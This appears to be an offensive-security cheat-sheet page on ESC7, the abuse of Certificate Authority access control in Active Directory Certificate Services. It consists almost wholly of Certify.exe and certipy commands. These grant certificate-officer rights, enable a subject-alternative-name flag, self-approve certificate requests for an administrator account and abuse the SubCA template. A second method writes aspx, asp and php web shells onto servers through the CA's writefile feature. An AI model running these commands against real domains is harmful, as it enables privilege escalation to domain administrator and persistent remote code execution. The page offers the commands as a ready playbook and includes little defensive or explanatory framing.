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Active Directory - Certificate ESC7

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation

  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions

    Certify.exe find /vulnerable
# or
certipy find -enabled -u user@domain.local -p password -dc-ip 10.10.10.10

# add "Manage Certificates" privilege
certipy ca -ca 'DOMAIN-CA' -username user@domain.local -p GoldCrown -add-officer user -dc-ip 10.10.10.10 -target-ip 10.10.10.11

  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)

    Certify.exe setconfig /enablesan /restart

  • Request the certificate with the desired SAN.

    Certify.exe request /template:User /altname:super.adm

  • Grant approval if required or disable the approval requirement

    # Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart

Exploitation 2:

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

Exploitation 3:

# enable SubCA template
certipy ca -ca 'DOMAIN-CA' -enable-template 'SubCA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11

# request a certificate based on subCA template
certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -template SubCA -upn administrator@domain.local

# issue failed certificate request
certipy ca -ca 'DOMAIN-CA' -issue-request 7 -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11

# retrieve the issued certificate
certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -retrieve 7

References